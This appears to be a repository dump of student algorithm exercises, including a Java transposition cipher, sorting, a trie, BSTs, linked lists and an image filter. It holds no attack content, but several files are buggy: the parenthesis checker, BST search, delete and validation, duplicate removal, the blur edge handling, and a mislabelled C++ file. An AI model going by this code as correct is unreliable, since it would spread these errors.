        int curCols = 0;
        String result = "";

        for (int i = 0; i < key.length(); i++) {

            if (i == key.length() - 1) {
                curCols = Integer.parseInt(key.substring(i));
            } else {
                curCols = Integer.parseInt(key.substring(i, i + 1));
            }

            for (int k = 0; k < numberOfRows; k++) {
                result = result + characterMap[k][curCols];
            }

        }

        return result;
    }

    public String decryptUsingTransposition(String data, String key) {
        int numberOfCols = key.length();
        int numberOfRows = 0;

        if (data.length() % numberOfCols > 0) {
            numberOfRows = (data.length() / numberOfCols) + 1;
        }

        if (data.length() % numberOfCols == 0) {
            numberOfRows = data.length() / numberOfCols;
        }

        char[][] characterMap = new char[numberOfRows][numberOfCols];

        for (int row = 0; row < numberOfRows; row++) {
            for (int col = 0; col < numberOfCols; col++) {
                characterMap[row][col] = ' ';
            }
        }

        int curCols = 0;
        int dataIndex = 0;
        String result = "";

        // Fills up the columns of the characterMap by column.
        for (int i = 0; i < key.length(); i++) {
            if (i == key.length() - 1) {
                curCols = Integer.parseInt(key.substring(i));
            } else {
                curCols = Integer.parseInt(key.substring(i, i + 1));
            }

            for (int k = 0; k < numberOfRows; k++) {
                if (dataIndex < data.length()) {
                    characterMap[k][curCols] = data.charAt(dataIndex);
                    dataIndex++;
                }
            }
        }

        // Reads characterMap left to right, from row 0 to last row.
        for (int row = 0; row < numberOfRows; row++) {
            for (int col = 0; col < numberOfCols; col++) {
                result = result + characterMap[row][col];
            }
        }

        return result;

    }

}

public class Main {

    // just so that we don't have to write sop repeatedly

    public static void print(String str) {
        System.out.print(str);
    }

    public static void println(String str) {
        System.out.println(str);
    }

    public void printerr(Exception e) {
        err.println("Error occured: " + e);
    }

    public static void decorate(char c) {
        for (int i = 0; i < 36; i++) {
            print(Character.toString(c));
        }

    }

    // source: stackOverflow
    public static void clearScreen() {
        try {
            // for windows
            if (System.getProperty("os.name").contains("Windows"))
                new ProcessBuilder("cmd", "/c", "cls").inheritIO().start().waitFor();
            // for linux based O.S
            else
                Runtime.getRuntime().exec("clear");
        } catch (Exception ex) {
        }
    }

    public static void getMenu() throws InterruptedException, InputMismatchException, IOException {
        Scanner scan = new Scanner(System.in);
        String plainText;
        String encryptedText;
        String decryptedText;
        String key;
        String inputFile;
        String outputFile;
        TranspositionCipher tCipher = new TranspositionCipher();
        do {

            clearScreen();
            decorate('-');
            println("\nChoose one of the following options:");
            decorate('-');
            println("\n0. Exit");
            println("1. Encrypt Text using Transposition Cipher");
            println("2. Decrypt Text using Transposition Cipher");
            println("3. Encrypt File using Transposition Cipher");
            println("4. Decrypt File using Transposition Cipher");
            println("11. Rules for selecting Transposition key");
            print("Enter your option : ");
            int option = scan.nextInt();

            switch (option) {

            case 0:
                println("Exiting......");
                System.exit(0);

            case 1:
                scan.nextLine(); // because as we press enter after selecting the option it might read it as out
                                 // plain text
                print("Enter Text to be Encrypted : ");
                plainText = scan.nextLine();

                print("Enter an integer key (checkout option 11 for rules of choosing a key) : ");
                key = scan.next();

                if (!tCipher.checkKey(key)) {
                    println("Incorrect Key check out option 11");
                    println("refreshing in 3 seconds...");
                    Thread.sleep(2000);
                    break;
                }
                println("key is correct");

                encryptedText = tCipher.encryptUsingTransposition(plainText, key);

                println("Encrypted text is : " + encryptedText);

                print("Screen will automatically refresh in 4 seconds....");
                Thread.sleep(4000);

                break;

            case 2:
                scan.nextLine(); // same as above
                print("Enter Text to be Decrypted : ");
                final String enText = scan.nextLine();
                print("Enter the key which you previously entered : ");
                key = scan.next();

                if (!tCipher.checkKey(key)) {
                    println("Incorrect Key check out option 11");
                    println("refreshing in 3 seconds...");
                    Thread.sleep(3000);
                    break;
                }

                println("key is correct");

                decryptedText = tCipher.decryptUsingTransposition(enText, key);

                println("Decrypted text is : " + decryptedText);

                print("Screen will automatically refresh in 4 seconds....");

                Thread.sleep(6000);

                break;

            case 3:
                println("Enter Input File Name : ");
                inputFile = scan.next();

                println("Enter Output File Name : ");
                outputFile = scan.next();

                println("Enter Key : ");
                key = scan.next();

                if (!tCipher.checkKey(key)) {
                    println("Incorrect Key check out option 11");
                    println("refreshing in 3 seconds...");
                    Thread.sleep(2000);
                    break;
                }
                println("key is correct");

                plainText = tCipher.readFromInputFile(inputFile);
                encryptedText = tCipher.encryptUsingTransposition(plainText, key);

                if (tCipher.writeToOutputFile(encryptedText, outputFile)) {
                    println("successfully copied Encrypted message to " + outputFile);
                } else {
                    throw new IOException("IO exception file output error ");
                }

                break;

            case 4:
                println("Enter Input File Name : ");
                inputFile = scan.next();

                println("Enter Output File Name : ");
                outputFile = scan.next();

                println("Enter Key : ");
                key = scan.next();

                if (!tCipher.checkKey(key)) {
                    println("Incorrect Key check out option 11");
                    println("refreshing in 3 seconds...");
                    Thread.sleep(2000);
                    break;
                }
                println("key is correct");

                plainText = tCipher.readFromInputFile(inputFile);
                decryptedText = tCipher.decryptUsingTransposition(plainText, key);

                if (tCipher.writeToOutputFile(decryptedText, outputFile)) {
                    println("successfully copied Decrypted message to " + outputFile);
                } else {
                    throw new IOException("IO exception file output error ");
                }

                break;

            case 11:
                println("Rules for selecting a key : ");
                println("1. Key shouldn't be too long, allowing cipher keys with length up to 10.");
                println("2. It shouldn't have recurring numbers.");
                println("3. Each digit of key must be within the range from 0 to the length of the key.");
                println("refreshing in 5 seconds...");
                Thread.sleep(5000);

                break;
            default:
                println("Enter a valid option :) ");
                Thread.sleep(1000);
                break;
            }

        } while (true);

    }

    public static void main(String... args) {
        try {
            getMenu();
        } catch (IOException ioe) {
            err.println(ioe);
        } catch (InputMismatchException ime) {
            println("Enter one of the valid option");
        } catch (Exception exception) {
            exception.printStackTrace();
        }
    }
}

<|start_filename|>Java/ShellSort.java<|end_filename|>
// C++ implementation of Shell Sort
#include <iostream>
using namespace std;

/* function to sort arr using shellSort */
int shellSort(int arr[], int n)
{
	// Start with a big gap, then reduce the gap
	for (int gap = n/2; gap > 0; gap /= 2)
	{
		// Do a gapped insertion sort for this gap size.
		// The first gap elements a[0..gap-1] are already in gapped order
		// keep adding one more element until the entire array is
		// gap sorted
		for (int i = gap; i < n; i += 1)
		{
			// add a[i] to the elements that have been gap sorted
			// save a[i] in temp and make a hole at position i
			int temp = arr[i];

			// shift earlier gap-sorted elements up until the correct
			// location for a[i] is found
			int j;		
			for (j = i; j >= gap && arr[j - gap] > temp; j -= gap)
				arr[j] = arr[j - gap];
			
			// put temp (the original a[i]) in its correct location
			arr[j] = temp;
		}
	}
	return 0;
}

void printArray(int arr[], int n)
{
	for (int i=0; i<n; i++)
		cout << arr[i] << " ";
}

int main()
{
	int arr[] = {12, 34, 54, 2, 3}, i;
	int n = sizeof(arr)/sizeof(arr[0]);

	cout << "Array before sorting: \n";
	printArray(arr, n);

	shellSort(arr, n);

	cout << "\nArray after sorting: \n";
	printArray(arr, n);

	return 0;
}


<|start_filename|>CPP/seive.cpp<|end_filename|>
void SieveOfEratosthenes(int n) 
{ 
    bool prime[n+1]; 
    memset(prime, true, sizeof(prime)); 
  
    for (int p=2; p*p<=n; p++) 
    { 
        if (prime[p] == true) 
        { 
            for (int i=p*p; i<=n; i += p) 
                prime[i] = false; 
        } 
    } 
 
    for (int p=2; p<=n; p++) 
       if (prime[p]) 
          cout << p <<endl; 
} 
  


<|start_filename|>CPP/Priority Queue.cpp<|end_filename|>
#include<iostream>
#include<vector>
#include<queue>
using namespace std;

int main()
{
    {
        priority_queue<int> q;
        for(int elm: {1,8,5,6,3,4})
            q.push(elm);
        while(!q.empty()){
            cout<<q.top()<<" ";
            q.pop();
        }
        cout<<endl;
    }
    {
        priority_queue<int, vector<int>, greater<int>> q2;
        for(int elm: {1,8,5,6,3,4})
            q2.push(elm);
        while(!q2.empty()){
            cout<<q2.top()<<" ";
            q2.pop();
        }
        cout<<endl;
    }
    {
        auto cmp=[] (int left, int right) { return(left) < (right);};
        priority_queue<int, vector<int>, decltype(cmp)> q3(cmp);
        for(int elm: {1,8,5,6,3,4})
            q3.push(elm);
        while(!q3.empty()){
            cout<<q3.top()<<" ";
            q3.pop();
        }
        cout<<endl;
    }
}


<|start_filename|>DSA/Strings/sort_subsequences.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

void printSubsequence(string input, string output)
{
	
	if (input.empty()) {
		cout << output << endl;
		return;
	}

	// output is passed with including
	// the Ist characther of
	// Input string
	printSubsequence(input.substr(1), output + input[0]);

	// output is passed without
	// including the Ist character
	// of Input string
	printSubsequence(input.substr(1), output);
}

int main()
{

	string output = "";
	string input = "abcd";

	printSubsequence(input, output);

	return 0;
}


<|start_filename|>CPP/connect_red_squares.cpp<|end_filename|>
#include "bits/stdc++.h"
#define int          long long int
#define mp           make_pair
#define pb           emplace_back
#define F            first
#define S            second
using vi       =     std::vector<int>;
using vvi      =     std::vector<vi>;
using pii      =     std::pair<int, int>;
using vpii     =     std::vector<pii>;
using vvpii    =     std::vector<vpii>;
using namespace std;
const int inf  =     1e18 + 10;
const int N    =     9;
int n, m; vector<string> a;
set<vector<string>> s;
int ans;
int dx[4] = {1, 0, -1, 0}, dy[4] = {0, 1, 0, -1};
int ok(int x, int y) {
	return x > - 1 and y > - 1 and x < n and y < n;
}
void f(int m) {
	if (s.count(a)) {
		return;
	}
	s.insert(a);
	if (m == 0) {
		ans++;
		return;
	}
	for (int i = 0; i < n; i++) {
		for (int j = 0; j < n; j++) {
			if (a[i][j] == '.') {
				int has_red_surroundings = 0;
				for (int k = 0; k < 4; k++) {
					int x = i + dx[k], y = j + dy[k];
					if (ok(x, y) and a[x][y] == '@')
						has_red_surroundings = 1;
				}
				if (has_red_surroundings) {
					a[i][j] = '@';
					f(m - 1);
					a[i][j] = '.';
				}
			}
		}
	}
}
void solve() {
	cin >> n >> m;
	a.resize(n);
	for (int i = 0; i < n; i++) {
		a[i].resize(n);
		for (int j = 0; j < n; j++) {
			cin >> a[i][j];
		}
	}
	for (int i = 0; i < n; i++) {
		for (int j = 0; j < n; j++) {
			if (a[i][j] == '.') {
				a[i][j] = '@';
				f(m - 1);
				a[i][j] = '.';
			}
		}
	}
	cout << ans;
}
int32_t main() {
	ios_base::sync_with_stdio(false); cin.tie(0);
	solve(); return 0;
	return 0;
}

<|start_filename|>CPP/Leet Code Solutions/contains-duplicate/contains-duplicate.cpp<|end_filename|>
class Solution {
public:
    bool containsDuplicate(vector<int>& nums) {
        unordered_set<int> nums_set(nums.begin(),nums.end());
        if(nums_set.size()!=nums.size()){
            return true;
        }
        return false;
    }
};

<|start_filename|>CPP/Data Structures/Trie/cpp/trie.cpp<|end_filename|>
// C++ implementation of search and insert 
// operations on Trie 
#include <bits/stdc++.h> 
using namespace std; 
  
const int ALPHABET_SIZE = 26; 
  
// trie node 
struct TrieNode 
{ 
    struct TrieNode *children[ALPHABET_SIZE]; 
  
    // isEndOfWord is true if the node represents 
    // end of a word 
    bool isEndOfWord; 
}; 
  
// Returns new trie node (initialized to NULLs) 
struct TrieNode *getNode(void) 
{ 
    struct TrieNode *pNode =  new TrieNode; 
  
    pNode->isEndOfWord = false; 
  
    for (int i = 0; i < ALPHABET_SIZE; i++) 
        pNode->children[i] = NULL; 
  
    return pNode; 
} 
  
// If not present, inserts key into trie 
// If the key is prefix of trie node, just 
// marks leaf node 
void insert(struct TrieNode *root, string key) 
{ 
    struct TrieNode *pCrawl = root; 
  
    for (int i = 0; i < key.length(); i++) 
    { 
        int index = key[i] - 'a'; 
        if (!pCrawl->children[index]) 
            pCrawl->children[index] = getNode(); 
  
        pCrawl = pCrawl->children[index]; 
    } 
  
    // mark last node as leaf 
    pCrawl->isEndOfWord = true; 
} 
  
// Returns true if key presents in trie, else 
// false 
bool search(struct TrieNode *root, string key) 
{ 
    struct TrieNode *pCrawl = root; 
  
    for (int i = 0; i < key.length(); i++) 
    { 
        int index = key[i] - 'a'; 
        if (!pCrawl->children[index]) 
            return false; 
  
        pCrawl = pCrawl->children[index]; 
    } 
  
    return (pCrawl != NULL && pCrawl->isEndOfWord); 
} 
  
// Driver 
int main() 
{ 
    // Input keys (use only 'a' through 'z' 
    // and lower case) 
    string keys[] = {"the", "a", "there", 
                    "answer", "any", "by", 
                     "bye", "their" }; 
    int n = sizeof(keys)/sizeof(keys[0]); 
  
    struct TrieNode *root = getNode(); 
  
    // Construct trie 
    for (int i = 0; i < n; i++) 
        insert(root, keys[i]); 
  
    // Search for different keys 
    search(root, "the")? cout << "Yes\n" : 
                         cout << "No\n"; 
    search(root, "these")? cout << "Yes\n" : 
                           cout << "No\n"; 
    return 0; 
} 

<|start_filename|>CPP/TowerofHanoi.cpp<|end_filename|>
#include <iostream>

using namespace std;

void TowerofHanoi(int n,int a,int b,int c)
{
    if(n>0)
    {
        TowerofHanoi(n-1,a,c,b);
        cout<<"Move a disk from  "<<a<<" to "<<c<<endl;
        TowerofHanoi(n-1,b,a,c);
    }
}

int main()
{
    int n;//total no of Disks
    cin>>n;

    TowerofHanoi(n,1,2,3);//1 2 3 are the Rods placed
    return 0;
}


<|start_filename|>DSA/DSA-VIT/Stacks/balanced_parenthesis.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

bool check(char *ch)
{
    stack<char>s;
    for(int i=0;ch[i]!='\0';i++)
    {
        if(ch[i]=='(')
        s.push(ch[i]);
        else if(ch[i]==')')
        {
            if(s.empty() || s.top()==')')
            return false;
        }
        s.pop();
    }
    return true;
}

int main() {
    char ch[10000]="(())";
    if(check(ch))
    cout<<"imbalanced parenthesis";
    else
    cout<<"balanced parenthesis";
}



<|start_filename|>C/filter/helpers.c<|end_filename|>
#include "helpers.h"
#include <math.h>

// Convert image to grayscale
void grayscale(int height, int width, RGBTRIPLE image[height][width])
{
    for (int i = 0; i < height; i++)
    {
        for (int j = 0; j < width; j++)
        {
            // calculating average of RGB for a pixel
            int a = round((image[i][j].rgbtBlue + image[i][j].rgbtGreen + image[i][j].rgbtRed) / 3.0);
            image[i][j].rgbtBlue = a;
            image[i][j].rgbtGreen = a;
            image[i][j].rgbtRed = a;
        }
    }
    return;
}

// Convert image to sepia
void sepia(int height, int width, RGBTRIPLE image[height][width])
{
    for (int i = 0; i < height; i++)
    {
        for (int j = 0; j < width; j++)
        {
            int a, b, c;
            a = round(0.272 * image[i][j].rgbtRed + 0.534 * image[i][j].rgbtGreen + 0.131 * image[i][j].rgbtBlue);
            b = round(0.349 * image[i][j].rgbtRed + 0.686 * image[i][j].rgbtGreen + 0.168 * image[i][j].rgbtBlue);
            c = round(0.393 * image[i][j].rgbtRed + 0.769 * image[i][j].rgbtGreen + 0.189 * image[i][j].rgbtBlue);
            // if statements have been used to prevent integer overflow
            if (a > 255)
            {
                image[i][j].rgbtBlue = 255;
            }
            else
            {
                image[i][j].rgbtBlue = a;
            }
            if (b > 255)
            {
                image[i][j].rgbtGreen = 255;
            }
            else
            {
                image[i][j].rgbtGreen = b;
            }
            if (c > 255)
            {
                image[i][j].rgbtRed = 255;
            }
            else
            {
                image[i][j].rgbtRed = c;
            }
        }
    }
    return;
}

// Reflect image horizontally
void reflect(int height, int width, RGBTRIPLE image[height][width])
{
    RGBTRIPLE temp;
    // replacing pixels on RHS to LHS and vice versa
    for (int i = 0; i < height; i++)
    {
        for (int j = 0; j < width / 2; j++)
        {
            temp = image[i][j];
            image[i][j] = image[i][width - 1 - j];
            image[i][width - 1 - j] = temp;
        }
    }
    return;
}

// Blur image
void blur(int height, int width, RGBTRIPLE image[height][width])
{
    // declaring and initialising temporarary variables to 0 to store pixels' new data
    unsigned long long int sum1[height][width], sum2[height][width], sum3[height][width];
    for (int i = 0; i < height; i++)
    {
        for (int j = 0; j < width; j++)
        {
            sum1[i][j] = 0;
            sum2[i][j] = 0;
            sum3[i][j] = 0;
        }
    }

    // for those pixels which are surrounded by 8 pixels
    for (int i = 1; i < height - 1; i++)
    {
        for (int j = 1; j < width - 1; j++)
        {
            for (int k = i - 1; k < i + 2; k++)
            {
                for (int l = j - 1; l < j + 2; l++)
                {
                    {
                        sum1[i][j] += image[k][l].rgbtRed;
                        sum2[i][j] += image[k][l].rgbtGreen;
                        sum3[i][j] += image[k][l].rgbtBlue;
                    }
                }
            }
            sum1[i][j] = round(sum1[i][j] / 9.0);
            sum2[i][j] = round(sum2[i][j] / 9.0);
            sum3[i][j] = round(sum3[i][j] / 9.0);
        }
    }

    // for pixels on corners

    // don't attempt to understand following module.you can't. It's a mess which took hell a lot of time to write
    int array1[4][4] = {{0, 1, 1, 0}, {0, 1, 1, 0}, {height - 1, height - 2, height - 2, height - 1}, {height - 1, height - 2, height - 2, height - 1}};
    int array2[4][4] = {{1, 0, 1, 0}, {width - 2, width - 1, width - 2, width - 1}, {width - 2, width - 1, width - 2, width - 1}, {1, 0, 1, 0}};
    for (int i = 0; i < 4; i++)
    {
        for (int j = 0; j < 4; j++)
        {
            sum1[array1[i][0]][array2[i][1]] += image[array1[i][j]][array2[i][j]].rgbtRed;
            sum2[array1[i][0]][array2[i][1]] += image[array1[i][j]][array2[i][j]].rgbtGreen;
            sum3[array1[i][0]][array2[i][1]] += image[array1[i][j]][array2[i][j]].rgbtBlue;
        }
        sum1[array1[i][0]][array2[i][1]] = round((sum1[array1[i][0]][array2[i][1]]) / 4.0);
        sum2[array1[i][0]][array2[i][1]] = round((sum2[array1[i][0]][array2[i][1]]) / 4.0);
        sum3[array1[i][0]][array2[i][1]] = round((sum3[array1[i][0]][array2[i][1]]) / 4.0);
    }
    // for pixels on the edges

    //(for edges on vertical sides)
    for (int i = 1; i < height - 1; i++)
    {
        for (int j = 0; j < 2; j++)
        {
            sum1[i][0] += image[i][j].rgbtRed + image[i - 1][j].rgbtRed + image[i + 1][j].rgbtRed;
            sum2[i][0] += image[i][j].rgbtGreen + image[i - 1][j].rgbtGreen + image[i + 1][j].rgbtGreen;
            sum3[i][0] += image[i][j].rgbtBlue + image[i - 1][j].rgbtBlue + image[i + 1][j].rgbtBlue;
        }
        sum1[i][0] = round((sum1[i][0]) / 6.0);
        sum2[i][0] = round((sum2[i][0]) / 6.0);
        sum3[i][0] = round((sum3[i][0]) / 6.0);
        for (int j = width - 2; j < width; j++)
        {
            sum1[i][height - 1] += image[i][j].rgbtRed + image[i - 1][j].rgbtRed + image[i + 1][j].rgbtRed;
            sum2[i][height - 1] += image[i][j].rgbtGreen + image[i - 1][j].rgbtGreen + image[i + 1][j].rgbtGreen;
            sum3[i][height - 1] += image[i][j].rgbtBlue + image[i - 1][j].rgbtBlue + image[i + 1][j].rgbtBlue;
        }
        sum1[i][height - 1] = round(sum1[i][height - 1] / 6.0);
        sum2[i][height - 1] = round(sum2[i][height - 1] / 6.0);
        sum3[i][height - 1] = round(sum3[i][height - 1] / 6.0);
    }

    //(for edges on horizontal sides)
    for (int j = 1; j < width - 1; j++)
    {
        for (int i = 0; i < 2; i++)
        {
            sum1[0][j] += image[i][j - 1].rgbtRed + image[i][j].rgbtRed + image[i][j + 1].rgbtRed;
            sum2[0][j] += image[i][j - 1].rgbtGreen + image[i][j].rgbtGreen + image[i][j + 1].rgbtGreen;
            sum3[0][j] += image[i][j - 1].rgbtBlue + image[i][j].rgbtBlue + image[i][j + 1].rgbtBlue;
        }
        sum1[0][j] = round(sum1[0][j] / 6.0);
        sum2[0][j] = round(sum2[0][j] / 6.0);
        sum3[0][j] = round(sum3[0][j] / 6.0);
        for (int i = height - 2; i < height; i++)
        {
            sum1[height - 1][j] += image[i][j - 1].rgbtRed + image[i][j].rgbtRed + image[i][j + 1].rgbtRed;
            sum2[height - 1][j] += image[i][j - 1].rgbtGreen + image[i][j].rgbtGreen + image[i][j + 1].rgbtGreen;
            sum3[height - 1][j] += image[i][j - 1].rgbtBlue + image[i][j].rgbtBlue + image[i][j + 1].rgbtBlue;
        }
        sum1[height - 1][j] = round(sum1[height - 1][j] / 6.0);
        sum2[height - 1][j] = round(sum2[height - 1][j] / 6.0);
        sum3[height - 1][j] = round(sum3[height - 1][j] / 6.0);
    }

    // copying pixels' new data from temporary variables to images[i][j]
    for (int i = 0; i < height; i++)
    {
        for (int j = 0; j < width; j++)
        {
            image[i][j].rgbtRed = sum1[i][j];
            image[i][j].rgbtGreen = sum2[i][j];
            image[i][j].rgbtBlue = sum3[i][j];
        }
    }
    return;
}


<|start_filename|>CPP/chocolateDistribution.cpp<|end_filename|>
#include<iostream>
using namespace std;
 
int findMinDiff(int arr[], int n, int m)
{
    if (m == 0 || n == 0)
        return 0;
 
    sort(arr, arr + n);
 
    if (n < m)
        return -1;
 
    int min_diff = INT_MAX;
 
    for (int i = 0; i + m - 1 < n; i++) {
        int diff = arr[i + m - 1] - arr[i];
        if (diff < min_diff)
            min_diff = diff;
    }
    return min_diff;
}
 
int main()
{
    int arr[] = { 12, 4,  7,  9,  2,  23, 25, 41, 30,
                  40, 28, 42, 30, 44, 48, 43, 50 };
    int m = 7; // Number of students
    int n = sizeof(arr) / sizeof(arr[0]);
    cout << "Minimum difference is "
         << findMinDiff(arr, n, m);
    return 0;
}

<|start_filename|>DSA/DSA-VIT/BSTs/BST.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

class node
{
public:
	int data;
	node*left;
	node*right;
	node(int d)
	{
		data=d;
		left=NULL;
		right=NULL;
	}
	
};

node* insert(node*root,int data)
{
	if(root==NULL){
		return root=new node(data);}
	if(data<root->data)
	{
		root->left=insert(root->left,data);
	}
	else
		root->right=insert(root->right,data);
	return root;
}

bool search(node*root,int data)
{
	if(root==NULL)
		return false;
	else if(data<root->data)
		return search(root->left,data);
	else
		return search(root->right,data);
	return true;
}

node* delete_node(node*root,int data)
{
	if(root==NULL)
		return NULL;
	else if(data<root->data)
		return delete_node(root->left,data);

	//3 cases
	else if(data==root->data)
	{
		//for leaf node
		if(root->left==NULL and root->right==NULL)
		{
			delete root;
			return NULL;
		}

		//for node having 1 child
		if(root->left!=NULL and root->right==NULL)
		{

			//store root's left child in a temporary node
			node*temp=root->left;
			delete root;
			return temp;
		}
		if(root->left==NULL and root->right!=NULL)
		{
			node*temp=root->right;
			delete root;
			return temp;
		}

		//for 2 child node
		node* replace=root->right;
		while(root->left!=NULL)
			replace=replace->left;
		replace->data=root->data;
		root->right=delete_node(root->right,replace->data);
		return root;
	}

	else
		return delete_node(root->right,data);
}

bool is_BST(node*root,int min=INT_MIN,int max=INT_MAX)
{
	if(root==NULL)
		return false;
	if(root->data<min and root->data>max and is_BST(root->left,min,root->data) and is_BST(root->right,root->data,max))
	{
		return true;
	}
	return false;
}

node* build()
{
	int d;
	cin>>d;
	node*root=NULL;

	while(d!=-1)
	{
		root=insert(root,d);
        cin>>d;
	}
	return root;
}

void print(node*root)
{
	if(root==NULL)
		return;

	cout<<root->data<<" ->";
	print(root->left);
	print(root->right);
}

int main()
{
    node *root=build();
	// build();
	print(root);

	return 0;
}

<|start_filename|>dfs.cs<|end_filename|>
/*
             *               1
             *             / | \
             *            2  5  9
             *           /  / \   \
             *          3  6   8   10
             *         /  / 
             *        4  7
             *
             */

            Graph graph = new Graph(11);
            graph.AddEdge(1, 2, false);
            graph.AddEdge(2, 3, false);
            graph.AddEdge(3, 4, false);
            graph.AddEdge(1, 5, false);
            graph.AddEdge(5, 6, false);
            graph.AddEdge(6, 7, false);
            graph.AddEdge(5, 8, false);
            graph.AddEdge(1, 9, false);
            graph.AddEdge(9, 10, false);
            graph.DFS();

    public class Graph
    {       
        LinkedList<int>[] linkedListArray;

        public Graph(int v)
        {
            linkedListArray = new LinkedList<int>[v];
        }

        /// 

        /// The method takes two nodes for which to add edge.
        /// 

        /// 
        /// 
        /// 
        public void AddEdge(int u, int v, bool blnBiDir = true)
        {
            if (linkedListArray[u] == null)
            {
                linkedListArray[u] = new LinkedList<int>();
                linkedListArray[u].AddFirst(v);
            }
            else
            {
                var last = linkedListArray[u].Last;
                linkedListArray[u].AddAfter(last, v);
            }

            if (blnBiDir)
            {
                if (linkedListArray[v] == null)
                {
                    linkedListArray[v] = new LinkedList<int>();
                    linkedListArray[v].AddFirst(u);
                }
                else
                {
                    var last = linkedListArray[v].Last;
                    linkedListArray[v].AddAfter(last, u);
                }
            }
        }

        internal void DFSHelper(int src, bool[] visited)
        {
            visited[src] = true;
            Console.Write(src + "->");
            if (linkedListArray[src] != null)
            {
                foreach (var item in linkedListArray[src])
                {
                    if (!visited[item] == true)
                    {
                        DFSHelper(item, visited);
                    }
                }
            }
        }

        internal void DFS()
        {
            Console.WriteLine("DFS");
            bool[] visited = new bool[linkedListArray.Length + 1];
            DFSHelper(1, visited);

        }
     }


<|start_filename|>CPP/SortingTechniques/BubbleSort.c<|end_filename|>
#include <stdio.h>

//Bubble Sort takes n-1 passes, n(n-1)/2 comparisons and n(n-1)/2 swaps(max no of swaps) in general
//Normally, time complexity of Bubble Sort is O(n^2)
//However, it can be made adoptive by introducting a flag(0) which changes to 1 for any swap
//If no swap found in particular pass we simply break
//In this for already sorted element time complexity reduces to a mere O(n)

//Analysis
//Time Complexity : Min - O(n), Max - O(n^2)
//Bubble Sort is adoptive, stable, and doesn't require extra space

void swap(int *a, int *b)
{
    int temp = *a;
    *a = *b;
    *b = temp;
}

void BubbleSort(int A[], int n)
{
    int flag;
    for(int i=0; i < n-1; i++){
        flag = 0;
        for(int j=0; j< n-i-1; j++){
            if(A[j] > A[j+1])
            {
                swap(&A[j], &A[j+1]);
                flag = 1;
            }
        }
        if(flag == 0) break;
    }
}


int main()
{
    int A[] = {1, 2, 3, 4, 5};
    int n = sizeof(A)/sizeof(A[0]);
    
    BubbleSort(A, n);
    //Display
    printf("Sorted : ");
    for(int i =0; i < n; i++)
        printf("%d ", A[i]);
    return 0;
}

<|start_filename|>CPP/Data Structures/Linked List/RemoveDupli.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std; 

struct Node 
{
    int data;
    Node *next;
    Node(int x)
    {
        data=x;
        next=NULL;
    }
};

Node* Iend(Node *head,int x)
{
    Node *temp=new Node(x);
    if(head==NULL)
    return temp;
    Node *curr=head;
    while(curr->next!=nullptr)
    {
        curr=curr->next;
    }
    curr->next=temp;
    return head;

}

void disp(Node* head)
{
    Node* k=head;
    if(head == nullptr)
    {
        cout<<"The LL is Empty";
        return;
    }
    while(k!=nullptr)
    {
        cout<<k->data<<" ";
        k=k->next;
    }
    return;
}

Node *RemDupli(Node *head)
{
    if(head==NULL||head->next==nullptr)
    {
        return head;
    }

    Node* temp=head;
    for(Node *curr=head->next;curr!=nullptr;curr=curr->next)
    {
           if(curr->data==temp->data)
           {
                temp->next=curr->next;
           }
           else
           {
               temp=curr;
           }
    } 
}


int main()
{
     int n;
    cin>>n;
    Node* head=NULL;
    for(int i=1;i<=n;i++)
    {
        int k;
        cin>>k;
        head=Iend(head,k);
    }

    disp(head);

    RemDupli(head);

    cout<<endl;

    disp(head);

}

<|start_filename|>DSA/DSA-VIT/Linked Lists/double_linked_list.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    list<int>l={1,2,3,4,5};

    //inserting
    l.push_front(6);

    for(auto x:l)
    cout<<x<<"->";
    cout<<"\n";

    //sorting
    l.sort();
    for(auto x:l)
    cout<<x<<"->";
    cout<<"\n";

    //reversing
    l.reverse();
    for(auto x:l)
    cout<<x<<"->";
    cout<<"\n";

    //deleting
    l.pop_front();
    for(auto x:l)
    cout<<x<<"->";
}


<|start_filename|>CPP/Maximum_Area_of_Histogram.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main()
{
    int n;
    cin >> n;
    int heights[n];
    for (int i = 0; i < n; i++)
    {
        cin >> heights[i];
    }
    stack<pair<int, int>> temp;
    vector<int> right;
    vector<int> left;
    for (int i = 0; i < n; i++)
    {
        if (temp.empty() == true)
        {
            right.push_back(-1);
        }
        else if (temp.top().first < heights[i])
        {
            right.push_back(temp.top().second);
        }
        else if (temp.top().first >= heights[i])
        {
            while (temp.empty() == false && temp.top().first >= heights[i])
            {
                temp.pop();
            }
            if (temp.empty() == true)
            {
                right.push_back(-1);
            }
            else
            {
                right.push_back(temp.top().second);
            }
        }
        temp.push({heights[i], i});
    }
    while (temp.empty() == false)
        temp.pop();

    for (int i = n - 1; i >= 0; i--)
    {
        if (temp.empty() == true)
        {
            left.push_back(n);
        }
        else if (temp.top().first < heights[i])
        {
            left.push_back(temp.top().second);
        }
        else if (temp.top().first >= heights[i])
        {
            while (temp.empty() == false && temp.top().first >= heights[i])
            {
                temp.pop();
            }
            if (temp.empty() == true)
            {
                left.push_back(n);
            }
            else
            {
                left.push_back(temp.top().second);
            }
        }
        temp.push({heights[i], i});
    }

    int res = INT_MIN;
    for (int i = 0; i < n; i++)
    {
        right[i] = (left[n - i - 1] - right[i] - 1) * heights[i];
        res = max(res, right[i]);
    }
    return 0;
}


<|start_filename|>Java/AgeCounter.java<|end_filename|>
package agecounter;

import java.util.Scanner;
import java.time.LocalDate;
import java.time.Period;

public class AgeCounter {

    public static void main(String[] args) {
        
        Scanner bday=new Scanner(System.in);
        
        //Get Inputs
        System.out.println("Enter Your Birth Year");
        int year=bday.nextInt();
      
        System.out.println("Enter Your Birth Month");
        int month=bday.nextInt();
        
        System.out.println("Enter Your Birth Date");
        int day=bday.nextInt();
        
        
        
        LocalDate pres = LocalDate.now();
        LocalDate bdate = LocalDate.of(year,month,day);
        
        int age = Period.between(bdate , pres).getYears();
        
        System.out.println(pres);
        System.out.println(bdate);
        System.out.println(age);
    }
    
}


<|start_filename|>CPP/Data Structures/Trees/Generic Trees/genericTrees.cpp<|end_filename|>
#include <iostream>
#include "treenode.h"
#include <queue>
using namespace std;

treenode<int> * takeInput(){ // level wise input
    int rootData;
    cout << "Enter The Data of the Root Element : ";
    cin >> rootData;
    treenode <int> * root = new treenode <int>(rootData);
    queue <treenode <int>*> q1;
    q1.push(root);
    while(q1.size() != 0){
        treenode<int>* front = q1.front();
        q1.pop();
